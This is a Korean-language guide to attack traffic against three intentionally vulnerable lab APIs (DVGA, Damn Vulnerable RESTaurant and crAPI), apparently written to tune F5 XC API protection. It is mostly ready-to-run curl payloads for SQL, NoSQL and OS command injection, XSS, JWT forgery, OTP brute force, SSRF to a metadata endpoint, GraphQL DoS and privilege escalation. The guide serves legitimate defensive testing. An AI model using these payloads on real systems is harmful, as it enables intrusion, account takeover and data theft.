콘텐츠로 이동

API 테스트 가이드

이 가이드는 세 가지 API 보안 테스트 애플리케이션에 걸쳐 모든 API 엔드포인트, 의도적 취약점, 공격 페이로드를 정리합니다. F5 XC API 보호 프로파일 개발을 위한 트래픽 생성 패턴 구축에 활용하십시오.

애플리케이션프로토콜경로포트인증취약점
DVGAGraphQL/dvga/80없음 (admin: admin/password)시나리오 25개
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)OWASP API 2023 카테고리 7개
crAPIREST (마이크로서비스)/8888JWT (Bearer)챌린지 18개 이상
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA (Damn Vulnerable GraphQL Application)

섹션 제목: “DVGA (Damn Vulnerable GraphQL Application)”

GraphQL 엔드포인트: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ 관리자 자격 증명: admin / password

모든 DVGA 상호작용은 JSON {"query":"..."} 페이로드가 포함된 POST 요청으로 단일 엔드포인트(/dvga/graphql)를 사용합니다.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← 순환 참조
작업유형인증목적
pastes(public, filter, limit)Query불필요페이스트 목록 조회 (filter를 통한 SQL 인젝션)
paste(id)Query불필요단일 페이스트 조회
me(token)Query불필요JWT로 사용자 조회 (위조 취약)
systemHealthQuery불필요헬스 체크
systemUpdateQuery불필요느린 쿼리 (~82초, DoS 벡터)
systemDiagnostics(cmd)Queryadmin/password허용 목록 OS 명령 실행
createPaste(title, content, public)Mutation불필요페이스트 생성 (content를 통한 XSS)
importPaste(host, port, path, scheme)Mutation불필요원격 페이스트 가져오기 (SSRF, 명령 인젝션)
uploadPaste(filename, content)Mutation불필요페이스트 업로드 (경로 탐색)

1. 서비스 거부 (DoS) (6개 시나리오)

섹션 제목: “1. 서비스 거부 (DoS) (6개 시나리오)”

배치 쿼리 공격:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

깊은 재귀 (순환 Owner/Paste 참조):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

리소스 집약적 쿼리 (~82초 응답):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

필드 중복 (필드를 500회 이상 반복):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

별칭 기반 공격 (1000개 별칭 작업):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

인트로스펙션 (전체 스키마 열거):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

필드 제안 (오타로 유효한 필드 노출):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

importPaste를 통한 SSRF (내부 서비스 탐색):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

filter 매개변수를 통한 SQL 인젝션:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

createPaste를 통한 저장형 XSS:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

로그 인젝션 (작업 이름 스푸핑):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

importPaste를 통한 OS 명령 인젝션:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

systemDiagnostics를 통한 OS 명령 (관리자 인증 필요):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

JWT 토큰 위조 (서명되지 않은 토큰 허용):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

uploadPaste를 통한 임의 파일 쓰기 (경로 탐색):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API (Damn Vulnerable RESTaurant)

섹션 제목: “RESTaurant API (Damn Vulnerable RESTaurant)”

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI 사양: ${ORIGIN}/restaurant/openapi.json 인증: /restaurant/token에 form-encoded POST를 통한 JWT 역할: Customer (기본값), Employee, Chef (관리자)

Terminal window
# 테스트 사용자 등록
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT 토큰 가져오기 (참고: JSON이 아닌 form-encoded)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
엔드포인트메서드인증역할취약점
/restaurant/registerPOST불필요사용자 생성
/restaurant/tokenPOST불필요약한 시크릿을 가진 JWT (97952)
/restaurant/healthcheckGET불필요헬스 체크
/restaurant/profileGET필요모든 역할사용자 프로파일
/restaurant/profilePUT필요모든 역할BOLA (다른 사용자 수정)
/restaurant/profilePATCH필요모든 역할BOPLA (역할 대량 할당)
/restaurant/users/update_rolePUT필요모든 역할BFLA (역할 상승)
/restaurant/menuGET필요모든 역할메뉴 항목 목록 조회
/restaurant/menuPUT필요Employee 이상메뉴 생성 (이미지를 통한 SSRF)
/restaurant/menu/{item_id}PUT필요Employee 이상메뉴 수정 (이미지를 통한 SSRF)
/restaurant/menu/{item_id}DELETE필요모든 역할BFLA (모든 사용자가 삭제 가능)
/restaurant/ordersGET필요모든 역할BOLA (모든 주문 조회)
/restaurant/ordersPOST필요모든 역할주문 생성
/restaurant/orders/{order_id}GET필요모든 역할BOLA (다른 사용자의 주문 접근)
/restaurant/orders/status/{order_id}GET필요모든 역할주문 상태
/restaurant/admin/stats/diskGET필요Chef명령 인젝션
/restaurant/reset-passwordPOST불필요비밀번호 재설정 요청
/restaurant/reset-password/new-passwordPOST불필요새 비밀번호 설정
/restaurant/referral-codeGET필요모든 역할추천 코드 조회
/restaurant/apply-referralPOST필요모든 역할추천 적용
/restaurant/discount-couponsGET필요모든 역할쿠폰 목록 조회

API1:2023 — 객체 수준 인증 취약점 (BOLA)

섹션 제목: “API1:2023 — 객체 수준 인증 취약점 (BOLA)”

다른 사용자의 프로파일 수정:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

다른 사용자의 주문 접근 (오프셋 열거):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT 약한 시크릿 브루트 포스 (시크릿은 6자리: 97952):

Terminal window
# jwt.io에서 토큰 디코딩 및 위조
# 시크릿: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d'로 브루트 포스 가능)
# Chef 토큰 위조:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# 시크릿으로 서명: 97952

API3:2023 — 객체 속성 수준 인증 취약점 (BOPLA)

섹션 제목: “API3:2023 — 객체 속성 수준 인증 취약점 (BOPLA)”

Customer에서 Chef로 역할 대량 할당:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

권한 상승 경로: Customer → Employee → Chef:

Terminal window
# 1단계: Employee로 상승
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# 2단계: Chef로 상승
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — 기능 수준 인증 취약점 (BFLA)

섹션 제목: “API5:2023 — 기능 수준 인증 취약점 (BFLA)”

Customer로 메뉴 항목 삭제 (Employee 이상 필요해야 함):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

다른 사용자의 역할 변경:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — 서버 측 요청 위조 (SSRF)

섹션 제목: “API7:2023 — 서버 측 요청 위조 (SSRF)”

메뉴 image_url을 통한 내부 엔드포인트 탐색 (Employee 역할 필요):

Terminal window
# 먼저 BOPLA를 통해 Employee로 상승한 후:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

디스크 통계를 통한 OS 명령 인젝션 (Chef 역할 필요):

Terminal window
# Chef로 상승한 후:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"

전체 공격 체인: Customer에서 Root까지

섹션 제목: “전체 공격 체인: Customer에서 Root까지”
Terminal window
# 1. 등록
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 토큰 가져오기
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef로 상승 (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Chef 수준 토큰을 얻기 위해 재인증
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 명령 인젝션 (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

웹 UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (인증을 위한 이메일 캡처) 인증: JWT Bearer 토큰 (RS256, 알고리즘 혼동 취약) 아키텍처: 7개 마이크로서비스 (identity, community, workshop, postgres, mongo, mailhog, web)

설정: 등록, 이메일 인증, 로그인

섹션 제목: “설정: 등록, 이메일 인증, 로그인”
Terminal window
# 1. 등록
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 인증 이메일에 대한 MailHog 확인
# ${CRAPI}/mailhog/으로 접속하거나 MailHog API 사용:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. 로그인 및 JWT 토큰 가져오기
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
엔드포인트메서드인증취약점
/identity/api/auth/signupPOST불필요회원 가입
/identity/api/auth/loginPOST불필요JWT 토큰 (알고리즘 혼동)
/identity/api/auth/forget-passwordPOST불필요OTP 요청
/identity/api/auth/v2/check-otpPOST불필요속도 제한 없음 (4자리 OTP 브루트 포스)
/identity/api/auth/v3/check-otpPOST불필요속도 제한 버전
/identity/api/v2/user/dashboardGET필요사용자 프로파일
/identity/api/v2/user/change-emailPUT필요이메일 변경
/identity/api/v2/vehicle/vehiclesGET필요차량 목록 조회 (UUID 누출)
/identity/api/v2/vehicle/{uuid}/locationGET필요BOLA (다른 사용자의 차량)
/identity/api/v2/user/videosPOST필요동영상 업로드
/identity/api/v2/user/videos/{id}GET필요데이터 노출 (conversion_params)
/identity/api/v2/user/videos/{id}PUT필요대량 할당 (명령 인젝션)
/identity/api/v2/admin/videos/{id}DELETE필요BFLA (관리자 확인 없음)
엔드포인트메서드인증취약점
/community/api/v2/community/postsGET필요데이터 노출 (vehicle_id, email 누출)
/community/api/v2/community/postsPOST필요블로그 게시물 생성
/community/api/v2/community/posts/{id}/commentsPOST필요댓글 추가
/community/api/v2/coupon/validate-couponPOST필요NoSQL 인젝션
엔드포인트메서드인증취약점
/workshop/api/mechanicGET필요데이터 노출 (정비사 이메일)
/workshop/api/mechanic/mechanic_reportGET불필요BOLA (인증 없음, 순차적 ID)
/workshop/api/merchant/contact_mechanicPOST필요SSRF + DoS
/workshop/api/shop/productsGET필요제품 카탈로그
/workshop/api/shop/orders/POST필요주문 생성
/workshop/api/shop/orders/allGET필요주문 목록 조회
/workshop/api/shop/orders/{id}GET불필요BOLA (인증 불필요)
/workshop/api/shop/orders/{id}PUT필요대량 할당 (status, quantity)
/workshop/api/shop/apply_couponPOST필요SQL 인젝션

챌린지 1 — BOLA: 다른 사용자의 차량 위치 접근

섹션 제목: “챌린지 1 — BOLA: 다른 사용자의 차량 위치 접근”
Terminal window
# 먼저 자신의 차량 UUID 가져오기
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# 다른 사용자의 차량 접근 (UUID 교체)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

챌린지 2 — BOLA: 정비사 보고서 접근 (인증 없음)

섹션 제목: “챌린지 2 — BOLA: 정비사 보고서 접근 (인증 없음)”
Terminal window
# 순차적 ID 열거 — 토큰 불필요
for i in 1 2 3 4 5; do
echo "보고서 $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

챌린지 3 — 인증 취약점: 비밀번호 재설정 OTP 브루트 포스

섹션 제목: “챌린지 3 — 인증 취약점: 비밀번호 재설정 OTP 브루트 포스”
Terminal window
# 피해자를 위한 OTP 요청
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 4자리 OTP 브루트 포스 (v2는 속도 제한 없음)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

챌린지 4 — 데이터 노출: 정비사 이메일 누출

섹션 제목: “챌린지 4 — 데이터 노출: 정비사 이메일 누출”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

챌린지 5 — 데이터 노출: 내부 동영상 변환 매개변수

섹션 제목: “챌린지 5 — 데이터 노출: 내부 동영상 변환 매개변수”
Terminal window
# 동영상을 업로드한 후 응답 검사
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# 응답에서 conversion_params 필드 확인

챌린지 6 — DoS: 정비사 연락을 통한 레이어 7

섹션 제목: “챌린지 6 — DoS: 정비사 연락을 통한 레이어 7”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

챌린지 7 — BFLA: 관리자 엔드포인트를 통한 동영상 삭제

섹션 제목: “챌린지 7 — BFLA: 관리자 엔드포인트를 통한 동영상 삭제”
Terminal window
# 일반 사용자도 관리자 엔드포인트에 접근 가능
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

챌린지 8 & 9 — 대량 할당: 주문 조작을 통한 무료 상품

섹션 제목: “챌린지 8 & 9 — 대량 할당: 주문 조작을 통한 무료 상품”
Terminal window
# GET을 PUT으로 변경하고 status와 quantity 수정
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

챌린지 10 — 동영상 변환 매개변수를 통한 명령 인젝션

섹션 제목: “챌린지 10 — 동영상 변환 매개변수를 통한 명령 인젝션”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

챌린지 11 — 정비사 연락을 통한 SSRF

섹션 제목: “챌린지 11 — 정비사 연락을 통한 SSRF”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

챌린지 12 — NoSQL 인젝션: 쿠폰 코드 추출

섹션 제목: “챌린지 12 — NoSQL 인젝션: 쿠폰 코드 추출”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

챌린지 13 — SQL 인젝션: 쿠폰 중복 사용

섹션 제목: “챌린지 13 — SQL 인젝션: 쿠폰 중복 사용”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"
Terminal window
# Authorization 헤더 없이도 데이터 반환
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# 알고리즘 "none"으로 JWT 위조 (서명 검증 없음):
# 1. 헤더 설정: {"alg":"none","typ":"JWT"} 후 base64url 인코딩
# 2. 페이로드 설정: {"email":"admin@example.com","role":"admin"} 후 base64url 인코딩
# 3. 점으로 연결하고 서명은 비워 둠: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP API 보안 상위 10위 상호 참조

섹션 제목: “OWASP API 보안 상위 10위 상호 참조”
OWASP 카테고리DVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}차량 위치, 정비사 보고서, 주문
API2: 인증 취약점JWT 위조 (me 쿼리)JWT 약한 시크릿 (97952)OTP 브루트 포스 (v2), JWT 알고리즘 혼동
API3: BOPLAPATCH /profile (역할 상승)동영상 conversion_params, 정비사 이메일 노출
API4: 리소스 소비배치, 재귀, 별칭, 필드 중복 DoS응답 길이를 통한 사용자 열거contact_mechanic repeat_request DoS
API5: BFLADELETE /menu, PUT /users/update_role일반 사용자로 DELETE /admin/videos
API6: 대량 할당PUT /orders (status, quantity)주문 status/quantity, 동영상 conversion_params
API7: SSRFimportPaste mutationPUT /menu image_urlcontact_mechanic mechanic_api URL
API8: 인젝션SQL (filter), XSS (content), OS 명령 (importPaste, systemDiagnostics)OS 명령 (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: 부적절한 자산 관리지원 중단된 /auth/v2/check-otp (속도 제한 없음)
API10: 안전하지 않은 소비(SSRF를 통한 간접적 영향)
GraphQL 특이적인트로스펙션, 배칭, 재귀, 별칭, 필드 중복, 순환 프래그먼트

공격 패턴 테스트 전 정상적인 API 동작을 확립하기 위해 합법적인 트래픽을 생성합니다.

DVGA 기준선:

Terminal window
# 일반 쿼리
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant 기준선:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI 기준선:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

2단계: OWASP 카테고리별 공격 트래픽

섹션 제목: “2단계: OWASP 카테고리별 공격 트래픽”

BOLA 테스트: 순차적 ID 열거, 요청에서 사용자 식별자 교체, 소유권 없이 리소스 접근.

인젝션 테스트: filter/쿠폰 매개변수에 SQL 페이로드, GraphQL 쿼리 인젝션, 매개변수 필드를 통한 OS 명령 인젝션.

인증 우회 테스트: JWT 토큰 위조, OTP 브루트 포스, 지원 중단된 API 버전 사용, 알고리즘 혼동.

SSRF 테스트: importPaste, image_url, mechanic_api 매개변수에 내부 URL 사용.

DoS 테스트: GraphQL 배치/재귀/별칭 공격, 높은 횟수의 repeat_request_if_failed.

일부 공격은 상태를 포함하는 다단계 시퀀스를 필요로 합니다:

  1. RESTaurant 상승 체인: 등록 → 토큰 → PATCH로 Chef 역할 변경 → 재인증 → 명령 인젝션
  2. crAPI 전체 흐름: 회원 가입 → 이메일 인증 (MailHog) → 로그인 → 차량 추가 → 정비사 연락 (SSRF) → 주문 조작
  3. DVGA 정찰-익스플로잇: 인트로스펙션 → systemDiagnostics 발견 → 관리자 자격 증명 브루트 포스 → OS 명령 실행
패턴요청/초지속 시간비고
기준선 (앱당)10-505분정상 트래픽 지문 확립
BOLA 열거100-5002분순차적 ID 스캔
OTP 브루트 포스1000+발견 시까지최대 10,000회 시도 (4자리)
GraphQL DoS10-5030초요청당 서버 측 비용이 높음
인젝션 퍼징50-2005분요청마다 페이로드 변경
SSRF 탐색5-202분느림; 각 요청이 서버 측 HTTP 요청 유발